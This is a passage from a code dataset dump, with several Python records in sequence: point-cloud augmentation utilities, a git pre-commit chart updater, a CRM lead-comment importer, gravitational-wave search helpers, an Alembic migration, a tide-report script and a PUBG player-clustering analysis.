rotation_matrix = np.array([[cosval, 0, sinval],\n [0, 1, 0],\n [-sinval, 0, cosval]])\n shape_pc = batch_data[k, ...]\n shape_normal = batch_data[k, :, 3:6]\n rotated_data[k, ...] = np.dot(shape_pc.reshape((-1, 3)), rotation_matrix)\n rotated_data[k, :, 3:6] = np.dot(shape_normal.reshape((-1, 3)), rotation_matrix)\n return rotated_data\n\n\ndef rotate_perturbation_point_cloud(batch_data, angle_sigma=0.06, angle_clip=0.18):\n \"\"\"\n Randomly perturb the point clouds by small rotations\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, rotated batch of point clouds\n \"\"\"\n rotated_data = np.zeros(batch_data.shape, dtype=np.float32)\n for k in range(batch_data.shape[0]):\n angles = np.clip(angle_sigma * np.random.randn(3), -angle_clip, angle_clip)\n Rx = np.array([[1, 0, 0],\n [0, np.cos(angles[0]), -np.sin(angles[0])],\n [0, np.sin(angles[0]), np.cos(angles[0])]])\n Ry = np.array([[np.cos(angles[1]), 0, np.sin(angles[1])],\n [0, 1, 0],\n [-np.sin(angles[1]), 0, np.cos(angles[1])]])\n Rz = np.array([[np.cos(angles[2]), -np.sin(angles[2]), 0],\n [np.sin(angles[2]), np.cos(angles[2]), 0],\n [0, 0, 1]])\n R = np.dot(Rz, np.dot(Ry, Rx))\n shape_pc = batch_data[k, ...]\n rotated_data[k, ...] = np.dot(shape_pc.reshape((-1, 3)), R)\n return rotated_data\n\n\ndef rotate_point_cloud_with_normal(batch_xyz_normal):\n ''' Randomly rotate XYZ, normal point cloud.\n Input:\n batch_xyz_normal: B,N,6, first three channels are XYZ, last 3 all normal\n Output:\n B,N,6, rotated XYZ, normal point cloud\n '''\n for k in range(batch_xyz_normal.shape[0]):\n rotation_angle = np.random.uniform() * 2 * np.pi\n cosval = np.cos(rotation_angle)\n sinval = np.sin(rotation_angle)\n rotation_matrix = np.array([[cosval, 0, sinval],\n [0, 1, 0],\n [-sinval, 0, cosval]])\n shape_pc = batch_xyz_normal[k, :, 0:3]\n shape_normal = batch_xyz_normal[k, :, 3:6]\n batch_xyz_normal[k, :, 0:3] = np.dot(shape_pc.reshape((-1, 3)), rotation_matrix)\n batch_xyz_normal[k, :, 3:6] = np.dot(shape_normal.reshape((-1, 3)), rotation_matrix)\n return batch_xyz_normal\n\n\ndef rotate_perturbation_point_cloud_with_normal(batch_data, angle_sigma=0.06, angle_clip=0.18):\n \"\"\" Randomly perturb the point clouds by small rotations\n Input:\n BxNx6 array, original batch of point clouds and point normals\n Return:\n BxNx3 array, rotated batch of point clouds\n \"\"\"\n rotated_data = np.zeros(batch_data.shape, dtype=np.float32)\n for k in range(batch_data.shape[0]):\n angles = np.clip(angle_sigma * np.random.randn(3), -angle_clip, angle_clip)\n Rx = np.array([[1, 0, 0],\n [0, np.cos(angles[0]), -np.sin(angles[0])],\n [0, np.sin(angles[0]), np.cos(angles[0])]])\n Ry = np.array([[np.cos(angles[1]), 0, np.sin(angles[1])],\n [0, 1, 0],\n [-np.sin(angles[1]), 0, np.cos(angles[1])]])\n Rz = np.array([[np.cos(angles[2]), -np.sin(angles[2]), 0],\n [np.sin(angles[2]), np.cos(angles[2]), 0],\n [0, 0, 1]])\n R = np.dot(Rz, np.dot(Ry, Rx))\n shape_pc = batch_data[k, :, 0:3]\n shape_normal = batch_data[k, :, 3:6]\n rotated_data[k, :, 0:3] = np.dot(shape_pc.reshape((-1, 3)), R)\n rotated_data[k, :, 3:6] = np.dot(shape_normal.reshape((-1, 3)), R)\n return rotated_data\n\n\ndef jitter_point_cloud(batch_data, sigma=0.01, clip=0.05):\n \"\"\"\n Randomly jitter points. jittering is per point.\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, jittered batch of point clouds\n \"\"\"\n B, N, C = batch_data.shape\n assert (clip > 0)\n jittered_data = np.clip(sigma * np.random.randn(B, N, C), -1 * clip, clip)\n jittered_data += batch_data\n return jittered_data\n\n\ndef shift_point_cloud(batch_data, shift_range=0.1):\n \"\"\"\n Randomly shift point cloud. Shift is per point cloud.\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, shifted batch of point clouds\n \"\"\"\n B, N, C = batch_data.shape\n shifts = np.random.uniform(-shift_range, shift_range, (B, 3))\n for batch_index in range(B):\n batch_data[batch_index, :, :] += shifts[batch_index, :]\n return batch_data\n\n\ndef random_scale_point_cloud(batch_data, scale_low=0.8, scale_high=1.25):\n \"\"\"\n Randomly scale the point cloud. Scale is per point cloud.\n Input:\n BxNx3 array, original batch of point clouds\n Return:\n BxNx3 array, scaled batch of point clouds\n \"\"\"\n B, N, C = batch_data.shape\n scales = np.random.uniform(scale_low, scale_high, B)\n for batch_index in range(B):\n batch_data[batch_index, :, :] *= scales[batch_index]\n return batch_data\n\n\ndef shuffle_points(batch_data):\n \"\"\"\n Shuffle orders of points in each point cloud -- changes FPS behavior.\n Use the same shuffling idx for the entire batch.\n Input:\n BxNxC array\n Output:\n BxNxC array\n \"\"\"\n idx = np.arange(batch_data.shape[1])\n np.random.shuffle(idx)\n return batch_data[:, idx, :]\n\n\ndef random_point_dropout(batch_pc, labels=None, max_dropout_ratio=0.875):\n \"\"\"\n batch_pc: BxNx3\n labels: [optional] BxN, per point label\n \"\"\"\n for b in range(batch_pc.shape[0]):\n dropout_ratio = np.random.random() * max_dropout_ratio\n drop_idx = np.where(np.random.random((batch_pc.shape[1])) <= dropout_ratio)[0]\n if len(drop_idx) > 0:\n batch_pc[b, drop_idx, :] = batch_pc[b, 0, :] # set to the first point\n if labels is not None:\n labels[b, drop_idx] = labels[b, 0]\n if labels is not None:\n return batch_pc, labels\n else:\n return batch_pc\n\n\ndef point_cloud_label_to_surface_voxel_label(point_cloud, label, res=0.02):\n \"\"\"\n point cloud to voxel\n Input:\n point_cloud: Nx3\n label: N, or Nx2\n Output:\n uvidx: keep ids when converting to voxel, (M,)\n uvlabel: labels of the kept indices, (M,) or (M,2)\n \"\"\"\n coordmax = np.max(point_cloud, axis=0)\n coordmin = np.min(point_cloud, axis=0)\n nvox = np.ceil((coordmax - coordmin) / res)\n vidx = np.ceil((point_cloud - coordmin) / res)\n vidx = vidx[:, 0] + vidx[:, 1] * nvox[0] + vidx[:, 2] * nvox[0] * nvox[1]\n uvidx, vpidx = np.unique(vidx, return_index=True)\n uvlabel = label[vpidx]\n return uvidx, uvlabel\n\n\ndef point_cloud_label_to_surface_voxel_label_major(point_cloud, label, res=0.02):\n \"\"\"\n point cloud to voxel\n Input:\n point_cloud: Nx3\n label: N, or Nx2\n Output:\n uvidx: keep ids when converting to voxel, (M,)\n uvlabel: labels of the kept indices, (M,) or (M,2)\n \"\"\"\n coordmax = np.max(point_cloud, axis=0)\n coordmin = np.min(point_cloud, axis=0)\n nvox = np.ceil((coordmax - coordmin) / res)\n vidx = np.ceil((point_cloud - coordmin) / res)\n vidx = vidx[:, 0] + vidx[:, 1] * nvox[0] + vidx[:, 2] * nvox[0] * nvox[1]\n vidx_label = np.concatenate((vidx[:, None], label), axis=-1)\n vidx_label = vidx_label[np.argsort(vidx), :]\n label_lst = np.split(vidx_label[:, 1:], np.cumsum(np.unique(vidx_label[:, 0], return_counts=True)[1])[:-1])\n # print(label_lst[0])\n # print(label_lst[1])\n # print(label_lst[2])\n # print(label_lst[3])\n # print(label_lst[4])\n # print(label_lst[5])\n # print(label_lst[6])\n # print(label_lst[7])\n label_lst_maxcount = [[np.unique(labels[:, 0], return_counts=True), np.unique(labels[:, 1], return_counts=True)] for\n labels in label_lst]\n # print(label_lst_maxcount[0][0][0],label_lst_maxcount[0][0][1] )\n # print(label_lst_maxcount[1][0][0],label_lst_maxcount[1][0][1] )\n # print(label_lst_maxcount[2][0][0],label_lst_maxcount[2][0][1] )\n # print(label_lst_maxcount[3][0][0],label_lst_maxcount[3][0][1] )\n # print(label_lst_maxcount[4][0][0],label_lst_maxcount[4][0][1] )\n # print(label_lst_maxcount[5][0][0],label_lst_maxcount[5][0][1] )\n # print(label_lst_maxcount[5][0][0],label_lst_maxcount[6][0][1] )\n # print(label_lst_maxcount[6][0][0],label_lst_maxcount[7][0][1] )\n uvlabel = np.asarray([[label_amounts[0][0][np.argmax(label_amounts[0][1])],\n label_amounts[1][0][np.argmax(label_amounts[1][1])]] for label_amounts in\n label_lst_maxcount], dtype=np.int32)\n # print(\"shape:\",uvlabel.shape)\n # print(uvlabel[:4,:])\n return None, uvlabel\n\n\ndef draw_point_cloud(data, highlight=[], title=''):\n \"\"\"\n Input: Nx3 numpy array\n \"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(data[:, 0], data[:, 2], data[:, 1], s=6)\n for h in highlight:\n ax.scatter(h[:, 0], h[:, 2], h[:, 1], s=20)\n ax.set_xlabel('X')\n ax.set_ylabel('Z')\n ax.set_zlabel('Y')\n plt.title(title)\n plt.show()\n\n\ndef _draw_point_cloud_on_axe(ax, data, label):\n all_label = np.unique(label)\n for l in all_label:\n x = data[label == l]\n ax.scatter(x[:, 0], x[:, 1], x[:, 2], label=l)\n ax.legend()\n\n\ndef draw_point_cloud_with_labels(data, label, subsample=None, title=''):\n \"\"\"\n data: Nx3 numpy array\n label: N, numpy array\n \"\"\"\n if subsample is not None:\n ids = np.random.choice(data.shape[0], subsample, replace=False)\n data = data[ids]\n label = label[ids]\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n _draw_point_cloud_on_axe(ax, data, label)\n plt.title(title)\n plt.show()\n\n\ndef draw_point_cloud_with_labels_compare(data, label1, label2, subsample=None):\n if subsample is not None:\n ids = np.random.choice(data.shape[0], subsample, replace=False)\n data = data[ids]\n label1 = label1[ids]\n label2 = label2[ids]\n fig = plt.figure()\n ax = fig.add_subplot(121, projection='3d')\n _draw_point_cloud_on_axe(ax, data, label1)\n ax = fig.add_subplot(122, projection='3d')\n _draw_point_cloud_on_axe(ax, data, label2)\n plt.show()\n\n\n# DEPRECATED, use batch_take instead\ndef get_index_transformer(shape):\n \"\"\"\n Get the index transformer symbol\n The returned symbol can be added to `index` for Symbol.pick\n shape: (B, N, M) or (B1, B2, N, M)\n Returns: (B, M), or (B1, B2, M), Symbol\n \"\"\"\n if len(shape) == 3:\n B, N, M = shape\n i = mx.symbol.arange(B, repeat=M, dtype=np.int32).reshape((B, M))\n return i * N\n elif len(shape) == 4:\n B1, B2, N, M = shape\n i = mx.symbol.arange(B2, repeat=M, dtype=np.int32).tile(B1) * N\n j = mx.symbol.arange(B1, repeat=M * B2, dtype=np.int32) * (N * B2)\n i = (i + j).reshape((B1, B2, M))\n return i\n else:\n raise NotImplementedError\n\n\nclass Timer(object):\n def __init__(self):\n self.reset()\n\n def tic(self):\n self.start = time.time()\n\n def toc(self):\n self.time += time.time() - self.start\n self.count += 1\n\n def get(self):\n return self.time / self.count\n\n def reset(self):\n self.time = 0\n self.count = 0\n\n\n# def get_git_hash():\n# return subprocess.check_output(['git', 'rev-parse', '--short', 'HEAD']).strip()\n\ndef get_timestamp():\n return datetime.now().strftime('%Y_%m_%d_%H:%M:%S')\n\n\ndef gauss_clip(mu, sigma, clip):\n v = random.gauss(mu, sigma)\n v = max(min(v, mu + clip * sigma), mu - clip * sigma)\n return v\n\n\ndef uniform(bound):\n return bound * (2 * random.random() - 1)\n\n\ndef scaling_factor(scaling_param, method):\n\n if method == 'g':\n return gauss_clip(1.0, scaling_param, 3)\n elif method == 'u':\n return 1.0 + uniform(scaling_param)\n elif method == 'ig':\n return 1.0 - abs(gauss_clip(0.0, scaling_param, 3))\n\n\ndef rotation_angle(rotation_param, method):\n\n if method == 'g':\n return gauss_clip(0.0, rotation_param, 3)\n elif method == 'u':\n return uniform(rotation_param)\n\n","repo_name":"Xharlie/Grid-GCN","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":21325,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"21"} +{"seq_id":"42969008516","text":"import yaml\nimport sys\nimport importlib\nfrom chartist.git.hooks import add_ranges, append_to_ranges\n\nfns = {\"append\": append_to_ranges,\n \"add\": add_ranges}\n\ndef load_data_loader_fn(module_path):\n module = importlib.machinery.SourceFileLoader('module', module_path).load_module()\n return getattr(module, \"fn\")\n\nwith open(\".chartist/tracked.yaml\", 'r') as f:\n tracked = yaml.load(f, Loader=yaml.SafeLoader)\n\nadded_files = sys.argv[1:]\ntry:\n updated = [\"0\"]\n for f in tracked:\n if f[\"data_file\"] in added_files:\n loader_fn = load_data_loader_fn(f[\"loader_fn\"])\n data = loader_fn(f[\"data_file\"])\n fns[f[\"mode\"]](f[\"file\"], f[\"alt_text\"], data, config_path=f.get(\"config\", None))\n updated += [f[\"file\"]]\n print(\" \".join(updated))\nexcept Exception as e:\n print(f\"1 something went wrong: {e}\")\n\n\n","repo_name":"tall-josh/plotypus","sub_path":"chartist/git/chartist-pre-commit.py","file_name":"chartist-pre-commit.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"71099069172","text":"import pprint\nfrom app import db\nfrom app.modules.lead.lead_comment_services import add_item, update_item, get_one_item\nfrom app.models import Lead\nfrom app.modules.file.models.s3_file import S3FileSchema\nfrom app.exceptions import ApiException\n\nfrom ._connector import post, get\nfrom ._association import find_association, associate_item\nfrom .file import run_import as run_file_import\n\n\ndef filter_input(data):\n\n item = find_association(model=\"Customer\", remote_id=data[\"customer_id\"])\n data[\"customer_id\"] = item.local_id if item is not None else None\n if \"customer\" in data:\n del data[\"customer\"]\n\n file_schema = S3FileSchema()\n attachments = []\n if \"offers\" in data:\n for offer in data[\"offers\"]:\n if \"calculation\" in offer and \"monthly_cost\" in offer[\"calculation\"] and str(offer[\"form_id\"]) == \"7\":\n data[\"amount\"] = offer[\"calculation\"][\"monthly_cost\"]\n local_file = run_file_import(\"OfferPDF\", 0, offer[\"id\"])\n if local_file is not None:\n attachments.append(file_schema.dump(local_file, many=False))\n del data[\"offers\"]\n\n lead = db.session.query(Lead).filter(Lead.number == data[\"lead_number\"]).first()\n if lead is None:\n return None\n data[\"lead_id\"] = lead.id\n if \"amount\" in data:\n lead.value = float(data[\"amount\"])\n db.session.commit()\n\n if \"customer_files\" in data:\n for customer_file in data[\"customer_files\"]:\n local_file = run_file_import(\"Customer\", data[\"customer_id\"], customer_file[\"id\"])\n if local_file is not None:\n attachments.append(file_schema.dump(local_file, many=False))\n del data[\"customer_files\"]\n\n if \"pv_files\" in data:\n for pv_file in data[\"pv_files\"]:\n local_file = run_file_import(\"PVFile\", 0, pv_file[\"id\"])\n if local_file is not None:\n attachments.append(file_schema.dump(local_file, many=False))\n del data[\"pv_files\"]\n data[\"attachments\"] = attachments\n\n data[\"comment\"] = data[\"full_comment\"]\n\n return data\n\n\ndef run_import(remote_id=None, local_id=None):\n if remote_id is not None:\n item_data = get(\"LeadComment/{}\".format(remote_id))[\"item\"]\n if item_data is not None:\n import_item(item_data)\n return\n data = post(\"LeadComment\", {\"page\": 0, \"limit\": 1000})\n if \"items\" in data:\n for item_data in data[\"items\"]:\n import_item(item_data)\n\n return False\n\n\ndef import_item(item_data):\n\n item_data = filter_input(item_data)\n if item_data is None:\n return None\n\n item = find_association(model=\"LeadComment\", remote_id=item_data[\"id\"])\n if item is None:\n item = add_item(item_data)\n if item is not None:\n associate_item(model=\"LeadComment\", remote_id=item_data[\"id\"], local_id=item.id)\n else:\n item = update_item(id=item.local_id, data=item_data)\n return item\n","repo_name":"vrcompugo/EV-Manager-Data-API","sub_path":"app/modules/importer/sources/data_efi_strom/lead_comment.py","file_name":"lead_comment.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30472454890","text":"\"\"\"\nThis is the module for gravitational wave coherent search.\nWriter: Shallyn(shallyn.liu@foxmail.com)\n\"\"\"\n\nimport numpy as np\nfrom .._datatypes.detector import Detector\nfrom .._utils import LOGGER, interp1d_complex, Progress\nimport sys\n\ntry:\n from ..Cextension import PyGWCOH as pg\n CEXT = True\nexcept:\n CEXT = False\n LOGGER.warning('Cannot import PyGWCOH\\n')\n\ndef calc_sngl_Gpc_and_shift(gwSNR, times, ra_pix, de_pix, gps_geocent):\n if CEXT:\n return calc_sngl_Gpc_and_shift_cextension(gwSNR, times, ra_pix, de_pix, gps_geocent)\n else:\n return calc_sngl_Gpc_and_shift_python(gwSNR, times, ra_pix, de_pix, gps_geocent)\n\ndef calc_sngl_Gpc_and_shift_python(gwSNR, times, ra_pix, de_pix, gps_geocent):\n ntime = len(times)\n npix = len(ra_pix)\n Gpc_sngl = np.zeros([npix, 2], np.float)\n snr_sngl = np.zeros([ntime, npix], gwSNR.value.dtype)\n fitp = interp1d_complex(gwSNR.time, gwSNR.value)\n remarks = f'Calculating Gpc:{gwSNR.ifo}'\n for k, (ra, de) in enumerate(zip(ra_pix, de_pix)):\n ar, delay = gwSNR.ifo_get_at_and_delay(ra, de, 0, gps_geocent)\n Gpc_sngl[k, 0] = ar[0]\n Gpc_sngl[k, 1] = ar[1]\n snr_sngl[:, k] = fitp(times + delay)\n Progress(k, npix, remarks)\n sys.stderr.write('\\r')\n sys.stderr.write(f'{remarks}..Done\\n')\n return Gpc_sngl, snr_sngl\n\n\n\"\"\"\nFor Cextension interface\n\"\"\"\n\ndef calc_sngl_Gpc_and_shift_cextension(gwSNR, times, ra_pix, de_pix, gps_geocent):\n ifo = gwSNR.ifo\n SNR_value = gwSNR.value\n SNR_times = gwSNR.time\n Gpc_sngl, snr_real_sngl, snr_imag_sngl = \\\n pg.Gpc_time_pix(SNR_value.real, SNR_value.imag, SNR_times, \n ra_pix, de_pix, times, ifo, gps_geocent)\n return Gpc_sngl, snr_real_sngl + 1.j*snr_imag_sngl","repo_name":"Shallyn/pygwcoh","sub_path":"_core/utdk.py","file_name":"utdk.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"44708532070","text":"\"\"\"empty message\n\nRevision ID: 79b72d6d57ad\nRevises: 2bb79da2a9bb\nCreate Date: 2018-03-21 18:19:06.981190\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '79b72d6d57ad'\ndown_revision = '2bb79da2a9bb'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('datetime', sa.Column('end_time', sa.Time(), nullable=True))\n op.add_column('datetime', sa.Column('start_time', sa.Time(), nullable=True))\n op.drop_column('datetime', 'time')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('datetime', sa.Column('time', mysql.TIME(), nullable=True))\n op.drop_column('datetime', 'start_time')\n op.drop_column('datetime', 'end_time')\n # ### end Alembic commands ###\n","repo_name":"anasyusef/ECA-Project","sub_path":"migrations/versions/79b72d6d57ad_.py","file_name":"79b72d6d57ad_.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44016817408","text":"# author: Jeremy Bullis\n# date: 7/20/2022\n# class: CS361\n# description: Microservice for Portfolio project\n\n# This is the UI portion of the Micro tides service. It will provide all\n# the context to the user and request the information needed for\n# processing.\n#\n# It will write the supplied date(s) to the date_range.txt file.\n#\n# Finally, it will read requested tide information from tide_info.txt\n# and display that information to the user.\n\nimport time\nimport json\nfrom datetime import date\n\nwrite_path = 'date_range.txt'\nread_path = 'tide_info.txt'\n\n\ndef get_user_date(choice):\n # function to read in user date or date range\n\n if choice == '1':\n with open(write_path, 'w') as write:\n temp = date.today()\n current_date = temp.strftime('%m/%d/%y')\n write.write(current_date)\n write.close()\n elif choice == '2':\n with open(write_path, 'w') as write:\n print('Please enter the first date: (mm/dd/yyyy)')\n first = input()\n write.write(first + '\\n')\n print('and the second: (mm/dd/yyyy)')\n second = input()\n write.write(second)\n write.close()\n\n\ndef display_tide_data(data):\n # function to display the tide date and write it to a text file\n\n output = [] # create hold for data display\n\n for entry in data['predictions']:\n user_date, tide_time = entry['t'].split() # split time and date for display\n if entry['type'] == 'H': # high tides\n if any(user_date in sublist for sublist in output):\n output.append([tide_time, 'High: ', entry['v']+' ft'])\n else:\n output.append([user_date]) # add new row if date is different\n output.append([tide_time, 'High: ', entry['v'] + ' ft'])\n elif entry['type'] == 'L': # low tides\n user_date, tide_time = entry['t'].split()\n if any(user_date in sublist for sublist in output):\n output.append([tide_time, 'Low: ', entry['v'] + ' ft'])\n else:\n output.append([user_date]) # add new row if date is different\n output.append([tide_time, 'Low: ', entry['v'] + ' ft'])\n\n for row in output:\n print(row)\n\n print()\n\n\ndef main():\n while True:\n\n print('Would you like the tide report for today? or are you looking for a range of dates?')\n print(\"Press 1 for today, 2 for a range, or type 'quit' to quit.\")\n\n choice = input()\n\n if choice == 'quit':\n break\n else:\n get_user_date(choice)\n\n time.sleep(3)\n\n with open(read_path, 'r') as r:\n data = json.load(r)\n r.close()\n\n display_tide_data(data)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mcbullis08/CS361-microservice","sub_path":"MicroTide_UI.py","file_name":"MicroTide_UI.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34583694872","text":"from sklearn.cluster import KMeans\nimport numpy as np\nimport PUBG_DataPlotter\nimport pandas as pd\nimport collections\nimport matplotlib.pyplot as pyplot\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.manifold import TSNE\nimport seaborn as sns\nfrom sklearn import tree\nimport graphviz\nfrom sklearn.decomposition import PCA\nimport sklearn.metrics.cluster as smc\n\ndef multiply_column(_col, _multiplier):\n new_col = []\n for _val in _col:\n new_col.append(_val*_multiplier)\n return np.array(new_col)\n\ndef getAveragePlayerFromCluster(data, labels):\n unique_clusters = set(labels)\n unique_clusters = sorted(unique_clusters)\n centroids = [[] for x in unique_clusters]\n i = 0\n for cluster in unique_clusters:\n print(\"Calculating mean for cluster: \", str(i))\n indices = np.where(labels == cluster)\n cluster_data = data.iloc[indices]\n centroids[i] = cluster_data.mean()\n i = i+1\n return unique_clusters, centroids\n\npyplot.close('all')\n\n\ndata = pd.read_csv('output_data/summary_data_1000.csv', error_bad_lines=False)\nfor i in range(2,13):\n data = data.append(pd.read_csv('output_data/summary_data_'+ str(i)+ '000.csv', error_bad_lines=False))\n print(\"file: \", str(i))\n\ndata = data.drop(columns=['game_size'], axis=1)\n\n\nK = 10\n#data = pd.read_csv('all_data.csv', error_bad_lines=False)\nprint(len(data.index))\ndata = data.query('kill_count != 0')\ndata = data.query('party_size == 4')\nprint(len(data.index))\n\nprint(\"removing players with -1 kill_distance\")\nmedian = data.query('kill_distance != -1')['kill_distance'].median()\ndata['kill_distance'].replace(to_replace=-1, value=median, inplace=True)\nprint(\"kill_distance min: \", data['kill_distance'].min())\n\nprint(\"removing players with -1 killed_from\")\nmedian = data.query('killed_from != -1')['killed_from'].median()\ndata['killed_from'].replace(-1, median, inplace=True)\nprint(\"killed_from min: \", data['killed_from'].min())\n\nprint(\"removing Nan from killed from\")\nmedian = data.query('killed_from != \"Nan\"')['killed_from'].median()\ndata['killed_from'] = data['killed_from'].fillna(median)\n\n# REMOVE OUTLIERS DISTANCE RODE\n# outlier_indices = PUBG_DataPlotter.find_outliers(data['distance_rode'], 5)\n# print(\"distance_rode outliers: \", data.iloc[outlier_indices]['distance_rode'])\n# data.drop(data.index[outlier_indices], inplace=True)\n\n#data.to_csv(\"all_data.csv\", index=False)\n\nall_outliers = set()\n\n# REMOVE OUTLIERS distance_walked\nprint(\"Removing distance_walked outliers...\")\nnew_outliers = PUBG_DataPlotter.find_outliers(data['distance_walked'], 3)\n#print(data['distance_walked'].iloc[new_outliers])\nall_outliers = all_outliers.union(new_outliers)\n\n# REMOVE OUTLIERS distance_walked\nprint(\"Removing distance_rode outliers...\")\nnew_outliers = PUBG_DataPlotter.find_outliers(data['distance_rode'], 4)\nprint(data['distance_rode'].iloc[new_outliers])\nall_outliers = all_outliers.union(new_outliers)\n\n# REMOVE OUTLIERS kill_distance\nprint(\"Removing kill_distance outliers...\")\nnew_outliers = PUBG_DataPlotter.find_outliers(data['kill_distance'], 10)\n#print(data['kill_distance'].iloc[new_outliers])\nall_outliers = all_outliers.union(new_outliers)\n\n# REMOVE OUTLIERS FROM killed_from\nprint(\"Removing killed_from outliers...\")\nnew_outliers = PUBG_DataPlotter.find_outliers(data['killed_from'], 10)\n#print(data['killed_from'].iloc[new_outliers])\nall_outliers = all_outliers.union(new_outliers)\n\n# REMOVE OUTLIERS player_dmg\nprint(\"Removing player_dmg outliers...\")\nnew_outliers = PUBG_DataPlotter.find_outliers(data['player_dmg'], 10)\n#print(data['player_dmg'].iloc[new_outliers], \"; kill count: \",data['kill_count'].iloc[new_outliers])\nall_outliers = all_outliers.union(new_outliers)\n\n# REMOVE OUTLIERS kill_count\nprint(\"Removing kill_count outliers...\")\nnew_outliers = PUBG_DataPlotter.find_outliers(data['kill_count'], 12)\nprint(data['kill_count'].iloc[new_outliers])\nall_outliers = all_outliers.union(new_outliers)\n\n# REMOVE OUTLIERS kill_count\nprint(\"Removing knockdown_count outliers...\")\nnew_outliers = PUBG_DataPlotter.find_outliers(data['knockdown_count'], 12)\nprint(data['knockdown_count'].iloc[new_outliers])\nall_outliers = all_outliers.union(new_outliers)\n\n# REMOVE OUTLIERS FROM survive_time\nprint(\"Removing survive_time outliers...\")\nnew_outliers = PUBG_DataPlotter.find_outliers(data['survive_time'], 1)\n#print(data['survive_time'].iloc[new_outliers])\nall_outliers = all_outliers.union(new_outliers)\n\n# print(\"Survive time outliers: \", data.iloc[outlier_indices]['survive_time'])\ndata.drop(data.index[list(all_outliers)], inplace=True)\n\ndata.reset_index(inplace=True)\n\n#COPY\nselected_data = data.__deepcopy__(True)\nprint(\"Selected data len: \",len(selected_data.index))\n\nselected_data_columns = [\n 'distance_walked', 'distance_rode',\n 'travel_ratio', 'kill_count',\n 'knockdown_count', 'player_assists',\n 'kill_knockdown_ratio', 'kill_distance',\n 'survive_time', 'player_dmg', 'killed_from', 'team_placement'\n , 'party_size'\n , 'Sniper Rifle', 'Carbine', 'Assault Rifle', 'LMG', 'SMG', 'Shotgun', 'Pistols and Sidearm', 'Melee', 'Crossbow'\n , 'Throwable', 'Vehicle', 'Environment', 'Zone', 'Other', 'down and out'\n]\nnon_normalized_data = data[selected_data_columns]\nselected_data = PUBG_DataPlotter.clean_the_data(selected_data, selected_data_columns)\n\nselected_data['Sniper Rifle'] = multiply_column(selected_data['Sniper Rifle'], 0.2)\nselected_data['Carbine'] = multiply_column(selected_data['Carbine'], 0.2)\nselected_data['Assault Rifle'] = multiply_column(selected_data['Assault Rifle'], 0.2)\nselected_data['LMG'] = multiply_column(selected_data['LMG'], 0.2)\nselected_data['SMG'] = multiply_column(selected_data['SMG'], 0.2)\nselected_data['Shotgun'] = multiply_column(selected_data['Shotgun'], 0.2)\nselected_data['Pistols and Sidearm'] = multiply_column(selected_data['Pistols and Sidearm'], 0.2)\nselected_data['Melee'] = multiply_column(selected_data['Melee'], 0.2)\nselected_data['Crossbow'] = multiply_column(selected_data['Crossbow'], 0.2)\nselected_data['Throwable'] = multiply_column(selected_data['Throwable'], 0.2)\nselected_data['Vehicle'] = multiply_column(selected_data['Vehicle'], 0.2)\nselected_data['Environment'] = multiply_column(selected_data['Environment'], 0.2)\nselected_data['Zone'] = multiply_column(selected_data['Zone'], 0.2)\nselected_data['Other'] = multiply_column(selected_data['Other'], 0.2)\nselected_data['down and out'] = multiply_column(selected_data['down and out'], 0.2)\n\n'''\nprint(\"Writing File\")\nnon_normalized_data.to_csv(\"KMeans_non_normalized_data.csv\", index=False)\nselected_data.to_csv(\"KMeans_normalized_data.csv\", index=False)\n\nprint(\"Finished writing\")\nexit(-1)\n\nnon_normalized_data = pd.read_csv('KMeans_non_normalized_data.csv', error_bad_lines=False)\nselected_data = pd.read_csv('KMeans_normalized_data.csv', error_bad_lines=False)\n\n#print(\"K-Means Calinski-Harabaz: \"+str(smc.calinski_harabaz_score(selected_data, labels[\"label\"])))\nlabels = pd.read_csv('Set1_KMeans_K=8.csv', error_bad_lines=False)\n'''\nnon_normalized_numpy_data = non_normalized_data.as_matrix()\nnumpy_selected_data = selected_data.as_matrix()\n#labels = labels.as_matrix()\nunique_clusters = set()\n'''\nfor val in labels.tolist():\n unique_clusters.add(val[0])\ncolumn_names = list(non_normalized_data.columns.values)\n'''\n\n\nfor K in range(4,5):\n print('\\n\\n\\nK = ',K)\n kmeans = KMeans(n_clusters=K).fit(numpy_selected_data)\n labels = kmeans.labels_\n save_name = 'Set1_KMeans_K='+str(K)+'.csv'\n np.savetxt(save_name, labels, delimiter=',')\n label_counter = collections.Counter(labels)\n print(label_counter)\n unique_clusters, centroids = getAveragePlayerFromCluster(non_normalized_data, labels)\n\n print(\"Start calculating centroids\")\n i = 0\n column_names = []\n for _cent in centroids:\n if i == 0:\n new_file = pd.DataFrame(_cent.values).T\n column_names = _cent.index\n else:\n new_file = new_file.append(pd.DataFrame(_cent.values).T)\n i = i+1\n new_file.columns = column_names\n new_file.to_csv('KMeans_K='+str(K)+'.csv', index=False)\n unique_clusters = set(labels)\n palette = sns.color_palette('hls', len(unique_clusters))\n cluster_colors = [palette[col] for col in labels]\n print(\"K-Means Calinski-Harabaz: \" + str(smc.calinski_harabaz_score(selected_data, 